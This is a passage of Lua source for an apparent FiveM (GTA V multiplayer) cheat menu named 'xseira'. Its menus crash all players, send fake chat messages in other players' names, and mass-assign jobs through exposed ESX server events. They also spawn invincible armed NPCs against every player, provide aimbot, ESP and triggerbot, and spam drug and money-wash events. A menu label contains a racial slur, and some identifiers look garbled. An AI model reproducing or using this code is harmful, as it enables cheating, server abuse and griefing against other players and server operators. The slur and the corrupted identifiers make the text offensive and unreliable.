function(enabled) sall = enabled end) then
elseif xseira.CheckBox("Block Everyone From Running", runtog,
function(enabled) runtog = enabled end) then
elseif xseira.Button("Kick Everyone Out Of Car") then
for i = 0, 128 do
ClearPedTasksImmediately(GetPlayerPed(i))
end
elseif xseira.Button("Crash All Players") then
runOnAll(crash)
elseif xseira.Button("Fake Message") then
local da=KeyboardInput("Enter player name","",100)
if da then
local ck=KeyboardInput("Enter message","",1000)
if ck then
TriggerServerEvent('_chat:messageEntered',da,
{0,0x99,255},ck)
end
end
elseif xseira.Button("ESX Set All Police") then
for i = 0, 128 do
TriggerServerEvent('NB:recruterplayer',
GetPlayerServerId(i), "police", 3)
TriggerServerEvent('NB:recruterplayer', i, "police", 3)
end
elseif xseira.Button("ESX Set All Mechanic") then
for i = 0, 128 do
TriggerServerEvent('NB:recruterplayer',
GetPlayerServerId(i), "mecano", 3)
TriggerServerEvent('NB:recruterplayer', i, "mecano", 3)
end
end
xseira.Display()
elseif xseira.IsMenuOpened("BlockAreas") then
if xseira.Button("Car Dealer") then
local wallHash = GetHashKey("stt_prop_stunt_track_slope15")
RequestModel(wallHash)
local e4 = 0
while not HasModelLoaded(wallHash) do
e4 = e4 + 100
Citizen.Wait(100)
if e4 > 5000 then
debugPrint("Failed to load model")
break
end
end
local wall1 = CreateObject(wallHash, -44.6, -1069.5, 91.9,
true, true, true)
SetEntityRotation(wall1, 0.0, -0.0, 160.5560, 1, true)
end
xseira.Display()
elseif xseira.IsMenuOpened("tunings") then
veh = GetVehiclePedIsUsing(PlayerPedId())
for i, dA in pairs(bd) do
if dA.
id == "extra"
and# checkValidVehicleExtras() ~= 0 then
if xseira.MenuButton(dA.name, dA.id) then end elseif dA.id ==
"neon"
then
if xseira.MenuButton(dA.name, dA.id) then end elseif dA.id ==
"paint"
then
if xseira.MenuButton(dA.name, dA.id) then end elseif dA.id ==
"wheeltypes"
then
if xseira.MenuButton(dA.name, dA.id) then end elseif dA.id ==
"headlight"
then
if xseira.MenuButton(dA.name, dA.id) then end
else local as = checkValidVehicleMods(dA.id) for dG, dH in
pairs(as) do
if xseira.MenuButton(dA.name, dA.id) then end;
break end end end;
if IsToggleModOn(veh, 22) then xenonStatus = "Installed"
else xenonStatus = "Not Installed"
end;
if xseira.Button("Xenon Headlight", xenonStatus) then
if not IsToggleModOn(veh, 22) then ToggleVehicleMod(veh, 22,
not IsToggleModOn(veh, 22))
else ToggleVehicleMod(veh, 22, not IsToggleModOn(veh, 22)) end
end;
xseira.Display()
elseif xseira.IsMenuOpened("performance") then
veh = GetVehiclePedIsUsing(PlayerPedId())
for i, dA in pairs(be) do
if xseira.MenuButton(dA.name, dA.id) then
end
end
if IsToggleModOn(veh, 18) then
turboStatus = "Installed"
else
turboStatus = "Not Installed"
end
if xseira.Button("Turbo Tune", turboStatus) then
if not IsToggleModOn(veh, 18) then
ToggleVehicleMod(veh, 18, not IsToggleModOn(veh, 18))
else
ToggleVehicleMod(veh, 18, not IsToggleModOn(veh, 18))
end
end
xseira.Display() elseif xseira.IsMenuOpened("primary") then
xseira.MenuButton("∑Classic", "classic1") xseira.MenuButton("∑Metallic",
"metallic1") xseira.MenuButton("∑Matte", "matte1") xseira.MenuButton("∑Metal",
"metal1") xseira.Display() elseif xseira.IsMenuOpened("secondary") then
xseira.MenuButton("∑Classic", "classic2") xseira.MenuButton("∑Metallic",
"metallic2") xseira.MenuButton("∑Matte", "matte2") xseira.MenuButton("∑Metal",
"metal2") xseira.Display() elseif xseira.IsMenuOpened("rimpaint") then
xseira.MenuButton("∑Classic", "classic3") xseira.MenuButton("∑Metallic",
"metallic3") xseira.MenuButton("∑Matte", "matte3") xseira.MenuButton("∑Metal",
"metal3") xseira.Display() elseif xseira.IsMenuOpened("classic1") then
for dS, dT in pairs(bg) do tp, ts = GetVehicleColours(veh) if
tp ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and tp == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
xseira.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh) b9 = table.pack(oldprim, oldsec,
oldpearl, oldwheelcolour) SetVehicleColours(veh, dT.id, oldsec)
SetVehicleExtraColours(veh, dT.id, oldwheelcolour) b8 = true elseif b8 and curprim
== dT.id then SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh,
dT.id, oldwheelcolour) b8 = false; ba = -1; b9 = -1 elseif b8 and curprim ~= dT.id
then SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh, dT.id,
oldwheelcolour) b8 = true end end end; xseira.Display() elseif
xseira.IsMenuOpened("metallic1") then
for dS, dT in pairs(bg) do tp, ts = GetVehicleColours(veh) if
tp ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and tp == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
xseira.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh) b9 = table.pack(oldprim, oldsec,
oldpearl, oldwheelcolour) SetVehicleColours(veh, dT.id, oldsec)
SetVehicleExtraColours(veh, dT.id, oldwheelcolour) b8 = true elseif b8 and curprim
== dT.id then SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh,
dT.id, oldwheelcolour) b8 = false; ba = -1; b9 = -1 elseif b8 and curprim ~= dT.id
then SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh, dT.id,
oldwheelcolour) b8 = true end end end; xseira.Display() elseif
xseira.IsMenuOpened("matte1") then
for dS, dT in pairs(bi) do tp, ts = GetVehicleColours(veh) if
tp ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and tp == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
xseira.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh) SetVehicleExtraColours(veh, dT.id,
oldwheelcolour) b9 = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
SetVehicleColours(veh, dT.id, oldsec) b8 = true elseif b8 and curprim == dT.id then
SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh, dT.id,
oldwheelcolour) b8 = false; ba = -1; b9 = -1 elseif b8 and curprim ~= dT.id then
SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh, dT.id,
oldwheelcolour) b8 = true end end end; xseira.Display() elseif
xseira.IsMenuOpened("metal1") then
for dS, dT in pairs(bj) do tp, ts = GetVehicleColours(veh) if
tp ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and tp == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
xseira.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh) b9 = table.pack(oldprim, oldsec,
oldpearl, oldwheelcolour) SetVehicleExtraColours(veh, dT.id, oldwheelcolour)
SetVehicleColours(veh, dT.id, oldsec) b8 = true elseif b8 and curprim == dT.id then
SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh, dT.id,
oldwheelcolour) b8 = false; ba = -1; b9 = -1 elseif b8 and curprim ~= dT.id then
SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh, dT.id,
oldwheelcolour) b8 = true end end end; xseira.Display() elseif
xseira.IsMenuOpened("classic2") then
for dS, dT in pairs(bg) do tp, ts = GetVehicleColours(veh) if
ts ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and ts == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
xseira.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) b9 =
table.pack(oldprim, oldsec) SetVehicleColours(veh, oldprim, dT.id) b8 = true elseif
b8 and cursec == dT.id then SetVehicleColours(veh, oldprim, dT.id) b8 = false; ba =
-1; b9 = -1 elseif b8 and cursec ~= dT.id then SetVehicleColours(veh, oldprim,
dT.id) b8 = true end end end; xseira.Display() elseif
xseira.IsMenuOpened("metallic2") then
for dS, dT in pairs(bg) do tp, ts = GetVehicleColours(veh) if
ts ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and ts == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
xseira.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) b9 =
table.pack(oldprim, oldsec) SetVehicleColours(veh, oldprim, dT.id) b8 = true elseif
b8 and cursec == dT.id then SetVehicleColours(veh, oldprim, dT.id) b8 = false; ba =
-1; b9 = -1 elseif b8 and cursec ~= dT.id then SetVehicleColours(veh, oldprim,
dT.id) b8 = true end end end; xseira.Display() elseif xseira.IsMenuOpened("matte2")
then
for dS, dT in pairs(bi) do tp, ts = GetVehicleColours(veh) if
ts ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and ts == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
xseira.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) b9 =
table.pack(oldprim, oldsec) SetVehicleColours(veh, oldprim, dT.id) b8 = true elseif
b8 and cursec == dT.id then SetVehicleColours(veh, oldprim, dT.id) b8 = false; ba =
-1; b9 = -1 elseif b8 and cursec ~= dT.id then SetVehicleColours(veh, oldprim,
dT.id) b8 = true end end end; xseira.Display() elseif xseira.IsMenuOpened("metal2")
then
for dS, dT in pairs(bj) do tp, ts = GetVehicleColours(veh) if
ts ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and ts == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
xseira.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) b9 =
table.pack(oldprim, oldsec) SetVehicleColours(veh, oldprim, dT.id) b8 = true elseif
b8 and cursec == dT.id then SetVehicleColours(veh, oldprim, dT.id) b8 = false; ba =
-1; b9 = -1 elseif b8 and cursec ~= dT.id then SetVehicleColours(veh, oldprim,
dT.id) b8 = true end end end; xseira.Display() elseif
xseira.IsMenuOpened("classic3") then
for dS, dT in pairs(bg) do _, ts = GetVehicleExtraColours(veh)
if ts ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and ts == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; _, currims = GetVehicleExtraColours(veh) if
xseira.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh) b9 = table.pack(oldprim, oldsec,
oldpearl, oldwheelcolour) SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = true
elseif b8 and currims == dT.id then SetVehicleExtraColours(veh, oldpearl, dT.id) b8
= false; ba = -1; b9 = -1 elseif b8 and currims ~= dT.id then
SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = true end end end;
xseira.Display() elseif xseira.IsMenuOpened("metallic3") then
for dS, dT in pairs(bg) do _, ts = GetVehicleExtraColours(veh)
if ts ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and ts == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; _, currims = GetVehicleExtraColours(veh) if
xseira.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh) b9 = table.pack(oldprim, oldsec,
oldpearl, oldwheelcolour) SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = true
elseif b8 and currims == dT.id then SetVehicleExtraColours(veh, oldpearl, dT.id) b8
= false; ba = -1; b9 = -1 elseif b8 and currims ~= dT.id then
SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = true end end end;
xseira.Display() elseif xseira.IsMenuOpened("matte3") then
for dS, dT in pairs(bi) do _, ts = GetVehicleExtraColours(veh)
if ts ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and ts == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; _, currims = GetVehicleExtraColours(veh) if
xseira.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh) b9 = table.pack(oldprim, oldsec,
oldpearl, oldwheelcolour) SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = true
elseif b8 and currims == dT.id then SetVehicleExtraColours(veh, oldpearl, dT.id) b8
= false; ba = -1; b9 = -1 elseif b8 and currims ~= dT.id then
SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = true end end end;
xseira.Display() elseif xseira.IsMenuOpened("metal3") then
for dS, dT in pairs(bj) do _, ts = GetVehicleExtraColours(veh)
if ts ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and ts == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; _, currims = GetVehicleExtraColours(veh) if
xseira.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false
oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh)
b9 = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
SetVehicleExtraColours(veh, oldpearl, dT.id)
b8 = true elseif b8 and currims == dT.id then
SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = false; ba
= -1; b9 = -1 elseif b8 and currims ~= dT.id then SetVehicleExtraColours(veh,
oldpearl, dT.id) b8 = true end end end;
xseira.Display()
elseif xseira.IsMenuOpened("SpawnPedsMenu") then
if xseira.Button("Mountain Lion") then
local model = 307287994
while not HasModelLoaded(model) do
debugPrint("Loading Model...")
RequestModel(model)
Citizen.Wait(0)
end
for i = 1, 128 do
local coords = GetEntityCoords(GetPlayerPed(i))
local ped = CreatePed(29, model, coords.x, coords.y,
coords.z + 1.0, 1, true, true)
TaskCombatPed(ped,GetPlayerPed(i),0,16)
end
elseif xseira.Button("Alien With Ak") then
local model = 1684083350
while not HasModelLoaded(model) do
debugPrint("Loading Model...")
RequestModel(model)
Citizen.Wait(0)
end
for i = 1, 128 do
local coords = GetEntityCoords(GetPlayerPed(i))
local ped = CreatePed(21, model, coords.x, coords.y,
coords.z + 1.0, 1, true, true)
if DoesEntityExist(ped) then
GiveWeaponToPed(ped,GetHashKey("WEAPON_ASSAULTRIFLE"),9999,1,1)
SetEntityInvincible(ped,true)
SetPedCanSwitchWeapon(ped,true)
TaskCombatPed(ped,GetPlayerPed(i),0,16)
end
end
end
xseira.Display()
elseif xseira.IsMenuOpened("TeleportMenu") then
if xseira.Button("Teleport To Waypoint") then
TeleportToWaypoint()
elseif xseira.Button("Teleport Into Nearest Vehicle") then
teleportToNearestVehicle()
elseif xseira.Button("Teleport To Coords") then
TeleportToCoords()
elseif xseira.CheckBox(
"Show Coords",
showCoords,
function(enabled)
showCoords = enabled
end)
then
elseif xseira.Button("Draw Custom Blip") then
bk()
end
xseira.Display()
elseif xseira.IsMenuOpened("VehMenu") then
if xseira.Button("Repair Vehicle") then
SetVehicleFixed(GetVehiclePedIsIn(GetPlayerPed(-1), false))
SetVehicleDirtLevel(GetVehiclePedIsIn(GetPlayerPed(-1),
false), 0.0)
SetVehicleLights(GetVehiclePedIsIn(GetPlayerPed(-1),
false), 0)
SetVehicleBurnout(GetVehiclePedIsIn(GetPlayerPed(-1),
false), false)
Citizen.InvokeNative(0x1FD09E7390A74D54,
GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
elseif xseira.Button("Spawn Custom Vehicle") then
local ped = GetPlayerPed(-1)
local ModelName = KeyboardInput("Enter Vehicle Spawn
Name", "", 100)
if ModelName and IsModelValid(ModelName) and
IsModelAVehicle(ModelName) then
RequestModel(ModelName)
while not HasModelLoaded(ModelName) do
Citizen.Wait(0)
end
if DelCurVeh and IsPedInAnyVehicle(ped, true) then
local vehicle =
GetVehiclePedIsUsing(GetPlayerPed(-1))
SetEntityAsMissionEntity(vehicle, true, true)
DeleteVehicle(vehicle)
end
local veh = CreateVehicle(GetHashKey(ModelName),
GetEntityCoords(ped), GetEntityHeading(ped), true, true)
if SpawnInVeh then
SetPedIntoVehicle(ped, veh, -1)
end
else
drawNotification("~r~Model is not valid!")
end
elseif xseira.MenuButton("∑Vehicle Spawner", "CarTypes") then
elseif xseira.MenuButton("∑Spawn options", "VehSpawnOpt") then
elseif xseira.MenuButton("∑Nigger Customs", "NiggerCustoms")
then
elseif xseira.Button("Delete Vehicle") then
DelVeh(GetVehiclePedIsUsing(PlayerPedId()))
elseif xseira.Button("Delete Closest Vehicle") then
local PlayerCoords = GetEntityCoords(PlayerPedId())
DelVeh(GetClosestVehicle(PlayerCoords.x, PlayerCoords.y,
PlayerCoords.z, 1000.0, 0, 4))
end
xseira.Display()
elseif xseira.IsMenuOpened("CarTypes") then
for i, e3 in ipairs(aX) do
if xseira.MenuButton("∑ "..e3, "CarTypeSelection") then
carTypeIdx = i
end
end
xseira.Display()
elseif xseira.IsMenuOpened("CarTypeSelection") then
for i, e3 in ipairs(aY[carTypeIdx]) do
if xseira.MenuButton("∑ "..e3, "CarOptions") then
carToSpawn = i
end
end
xseira.Display()
elseif xseira.IsMenuOpened("CarOptions") then
if xseira.Button("Spawn Car") then
local x, y, z =
table.unpack(GetOffsetFromEntityInWorldCoords(PlayerPedId(-1), 0.0, 0.0, 0.5))
local veh = aY[carTypeIdx][carToSpawn]
if veh == nil then
veh = "adder"
end
vehiclehash = GetHashKey(veh)
RequestModel(vehiclehash)
Citizen.CreateThread(function()
local e4 = 0
while not HasModelLoaded(vehiclehash) do
e4 = e4 + 100
Citizen.Wait(100)
if e4 > 5000 then
ShowNotification("~r~Cannot spawn this vehicle.")
break
end
end
if DelCurVeh and IsPedInAnyVehicle(GetPlayerPed(-1), true)
then
local vehicle = GetVehiclePedIsUsing(GetPlayerPed(-1))
SetEntityAsMissionEntity(vehicle, true, true)
DeleteVehicle(vehicle)
end
SpawnedCar = CreateVehicle(vehiclehash, x, y, z,
GetEntityHeading(PlayerPedId(-1)) + 90, 1, 0)
SetVehicleStrong(SpawnedCar, true)
SetVehicleEngineOn(SpawnedCar, true, true, false)
SetVehicleEngineCanDegrade(SpawnedCar, false)
if SpawnInVeh then
SetPedIntoVehicle(GetPlayerPed(-1), SpawnedCar, -1)
end
end)
end
xseira.Display()
elseif xseira.IsMenuOpened("NiggerCustoms") then
if xseira.CheckBox(
"Super Handling",
superGrip,
function(enabled)
superGrip = enabled
enchancedGrip = false
driftMode = false
fdMode = false
end)
then
elseif xseira.CheckBox(
"Enchanced Grip",
enchancedGrip,
function(enabled)
superGrip = false
enchancedGrip = enabled
driftMode = false
fdMode = false
end)
then
elseif xseira.CheckBox(
"Drift Mode",
driftMode,
function(enabled)
superGrip = false
enchancedGrip = false
driftMode = enabled
fdMode = false
end)
then
elseif xseira.CheckBox(
"Formula Drift Mode",
fdMode,
function(enabled)
superGrip = false
enchancedGrip = false
driftMode = false
fdMode = enabled
end)
then
elseif xseira.MenuButton("∑Torque Boost", "VehBoostMenu") then
elseif xseira.MenuButton("∑Performance Tuning", "performance")
then
elseif xseira.MenuButton("∑Exterior Tuning", "tunings") then
elseif xseira.Button("Max Tuning") then
MaxOut(GetVehiclePedIsUsing(PlayerPedId()))
elseif xseira.Button("Max Performance") then
MaxOutPerf(GetVehiclePedIsUsing(PlayerPedId()))
end
xseira.Display()
elseif xseira.IsMenuOpened("VehBoostMenu") then
if xseira.CheckBox(
"Torque Boost 2x",
t2x,
function(enabled)
t2x = enabled
t4x = false
t8x = false
t16x = false
end)
then
elseif xseira.CheckBox(
"Torque Boost 4x",
t4x,
function(enabled)
t2x = false
t4x = enabled
t8x = false
t16x = false
end)
then
elseif xseira.CheckBox(
"Torque Boost 8x",
t8x,
function(enabled)
t2x = false
t4x = false
t8x = enabled
t16x = false
end)
then
elseif xseira.CheckBox(
"Torque Boost 16x",
t16x,
function(enabled)
t2x = false
t4x = false
t8x = false
t16x = enabled
end)
then
end
xseira.Display()
elseif xseira.IsMenuOpened("PerformanceMenu") then
xseira.Display()
elseif xseira.IsMenuOpened("VehSpawnOpt") then
if xseira.CheckBox(
"Delete Current Vehicle",
DelCurVeh,
function(enabled)
DelCurVeh = enabled
end)
then
elseif xseira.CheckBox(
"Spawn In Vehicle",
SpawnInVeh,
function(enabled)
SpawnInVeh = enabled
end)
then
end
xseira.Display()
elseif xseira.IsMenuOpened("MaliciousMenu") then
if xseira.CheckBox(
"Crosshair",
crosshair,
function(enabled)
crosshair = enabled
end)
then
elseif xseira.CheckBox(
"Crosshair 2",
crosshair2,
function(enabled)
crosshair2 = enabled
end)
then
elseif xseira.CheckBox(
"Crosshair 3",
crosshair3,
function(enabled)
crosshair3 = enabled
end)
then
elseif xseira.CheckBox("Name Above Head", nameAboveHead,
function(enabled) nameAboveHead = enabled end) then
elseif xseira.CheckBox('~o~Thermal Vision', thermalVision,
function(enabled) thermalVision = enabled
SeTriggerServerEventethrough(thermalVision) end) then
elseif xseira.CheckBox(
"AimBot",
aimbot,
function(enabled)
aimbot = enabled
end)
then
elseif xseira.CheckBox(
"ESP",
esp,
function(enabled)
esp = enabled
end)
then
elseif xseira.CheckBox(
"Trigger Bot",
TriggerBot,
function(enabled)
TriggerBot = enabled
end)
then
elseif xseira.CheckBox(
"Player Blips",
playerBlips,
function(enabled)
playerBlips = enabled
end)
then
end
xseira.Display()
elseif xseira.IsMenuOpened("ESXMenu") then
if xseira.MenuButton("∑ESX Money Options", "ESXMoneyMenu") then
elseif xseira.MenuButton("∑ESX Job Menu", "ESXJobMenu") then
elseif xseira.MenuButton("∑ESX Boss", "ESXBossMenu") then
elseif xseira.MenuButton("∑ESX Drugs", "ESXDrugMenu") then
elseif xseira.MenuButton("∑ESX Misc", "ESXMiscMenu") then
end
xseira.Display()
elseif xseira.IsMenuOpened("ESXMiscMenu") then
if xseira.Button("ESX Harvest FixKit") then
TriggerServerEvent('esx_mechanicjob:startHarvest')
elseif xseira.Button("ESX Craft FixKit") then
TriggerServerEvent('esx_mechanicjob:startCraft')
elseif xseira.Button("ESX Revive Id") then
local id = KeyboardInput("Enter Id", "", 100)
TriggerServerEvent("esx_ambulancejob:revive", id)
end
xseira.Display()
elseif xseira.IsMenuOpened("ESXDrugMenu") then
if xseira.Button('Harvest Weed (x5)') then
TriggerServerEvent('esx_drugs:startHarvestWeed')
TriggerServerEvent('esx_drugs:startHarvestWeed')
TriggerServerEvent('esx_drugs:startHarvestWeed')
TriggerServerEvent('esx_drugs:startHarvestWeed')
TriggerServerEvent('esx_drugs:startHarvestWeed')
elseif xseira.Button('Transform Weed (x5)') then
TriggerServerEvent('esx_drugs:startTransformWeed')
TriggerServerEvent('esx_drugs:startTransformWeed')
TriggerServerEvent('esx_drugs:startTransformWeed')
TriggerServerEvent('esx_drugs:startTransformWeed')
TriggerServerEvent('esx_drugs:startTransformWeed')
elseif xseira.Button('Sell Weed (x5)') then
TriggerServerEvent('esx_drugs:starTriggerServerEventllWeed')
TriggerServerEvent('esx_drugs:starTriggerServerEventllWeed')
TriggerServerEvent('esx_drugs:starTriggerServerEventllWeed')
TriggerServerEvent('esx_drugs:starTriggerServerEventllWeed')
TriggerServerEvent('esx_drugs:starTriggerServerEventllWeed')
elseif xseira.Button('Harvest Coke (x5)') then
TriggerServerEvent('esx_drugs:startHarvestCoke')
TriggerServerEvent('esx_drugs:startHarvestCoke')
TriggerServerEvent('esx_drugs:startHarvestCoke')
TriggerServerEvent('esx_drugs:startHarvestCoke')
TriggerServerEvent('esx_drugs:startHarvestCoke')
elseif xseira.Button('Transform Coke (x5)') then
TriggerServerEvent('esx_drugs:startTransformCoke')
TriggerServerEvent('esx_drugs:startTransformCoke')
TriggerServerEvent('esx_drugs:startTransformCoke')
TriggerServerEvent('esx_drugs:startTransformCoke')
TriggerServerEvent('esx_drugs:startTransformCoke')
elseif xseira.Button('Sell Coke (x5)') then
TriggerServerEvent('esx_drugs:starTriggerServerEventllCoke')
TriggerServerEvent('esx_drugs:starTriggerServerEventllCoke')
TriggerServerEvent('esx_drugs:starTriggerServerEventllCoke')
TriggerServerEvent('esx_drugs:starTriggerServerEventllCoke')
TriggerServerEvent('esx_drugs:starTriggerServerEventllCoke')
elseif xseira.Button('Harvest Meth (x5)') then
TriggerServerEvent('esx_drugs:startHarvestMeth')
TriggerServerEvent('esx_drugs:startHarvestMeth')
TriggerServerEvent('esx_drugs:startHarvestMeth')
TriggerServerEvent('esx_drugs:startHarvestMeth')
TriggerServerEvent('esx_drugs:startHarvestMeth')
elseif xseira.Button('Transform Meth (x5)') then
TriggerServerEvent('esx_drugs:startTransformMeth')
TriggerServerEvent('esx_drugs:startTransformMeth')
TriggerServerEvent('esx_drugs:startTransformMeth')
TriggerServerEvent('esx_drugs:startTransformMeth')
TriggerServerEvent('esx_drugs:startTransformMeth')
elseif xseira.Button('Sell Meth (x5)') then
TriggerServerEvent('esx_drugs:starTriggerServerEventllMeth')
TriggerServerEvent('esx_drugs:starTriggerServerEventllMeth')
TriggerServerEvent('esx_drugs:starTriggerServerEventllMeth')
TriggerServerEvent('esx_drugs:starTriggerServerEventllMeth')
TriggerServerEvent('esx_drugs:starTriggerServerEventllMeth')
elseif xseira.Button('Harvest Opium (x5)') then
TriggerServerEvent('esx_drugs:startHarvestOpium')
TriggerServerEvent('esx_drugs:startHarvestOpium')
TriggerServerEvent('esx_drugs:startHarvestOpium')
TriggerServerEvent('esx_drugs:startHarvestOpium')
TriggerServerEvent('esx_drugs:startHarvestOpium')
elseif xseira.Button('Transform Opium (x5)') then
TriggerServerEvent('esx_drugs:startTransformOpium')
TriggerServerEvent('esx_drugs:startTransformOpium')
TriggerServerEvent('esx_drugs:startTransformOpium')
TriggerServerEvent('esx_drugs:startTransformOpium')
TriggerServerEvent('esx_drugs:startTransformOpium')
elseif xseira.Button('Sell Opium (x5)') then
TriggerServerEvent('esx_drugs:starTriggerServerEventllOpium')
TriggerServerEvent('esx_drugs:starTriggerServerEventllOpium')
TriggerServerEvent('esx_drugs:starTriggerServerEventllOpium')
TriggerServerEvent
('esx_drugs:starTriggerServerEventllOpium')
TriggerServerEvent('esx_drugs:starTriggerServerEventllOpium')
elseif xseira.Button('Money Wash (x10)') then
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
elseif xseira.Button('Stop all (Drugs)') then
TriggerServerEvent('esx_drugs:stopHarvestCoke')
TriggerServerEvent('esx_drugs:stopTransformCoke')
TriggerServerEvent('esx_drugs:stopSellCoke')
TriggerServerEvent('esx_drugs:stopHarvestMeth')
TriggerServerEvent('esx_drugs:stopTransformMeth')
TriggerServerEvent('esx_drugs:stopSellMeth')
TriggerServerEvent('esx_drugs:stopHarvestWeed')
TriggerServerEvent('esx_drugs:stopTransformWeed')
TriggerServerEvent('esx_drugs:stopSellWeed')
TriggerServerEvent('esx_drugs:stopHarvestOpium')
TriggerServerEvent('esx_drugs:stopTransformOpium')
TriggerServerEvent('esx_drugs:stopSellOpium')
end
xseira.Display()
elseif xseira.IsMenuOpened("ESXBossMenu") then
if xseira.Button("ESX Mechanic Boss Menu") then
TriggerEvent("esx_society:openBossMenu",'mecano',function(dU,dV)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu","mecano",function(dU,dV)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu",'mecano',function(dW,dX)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu","mecano",function(dW,dX)
xseira.close()end)
TriggerEvent("esx_society:openBossMenu",'mecano',function(dY,dZ)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu","mecano",function(dY,dZ)
xseira.close()
end)
xseira.CloseMenu()
elseif xseira.Button("ESX Police Boss Menu") then
TriggerEvent("esx_society:openBossMenu",'police',function(dU,dV)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu","police",function(dU,dV)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu",'police',function(dW,dX)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu","police",function(dW,dX)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu",'police',function(dY,dZ)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu","police",function(dY,dZ)
xseira.close()
end)
xseira.CloseMenu()
elseif xseira.Button("ESX Ambulance Boss Menu") then
TriggerEvent("esx_society:openBossMenu",'ambulance',function(dU,dV)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu","ambulance",function(dU,dV)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu",'ambulance',function(dW,dX)
xseira.close()
end)
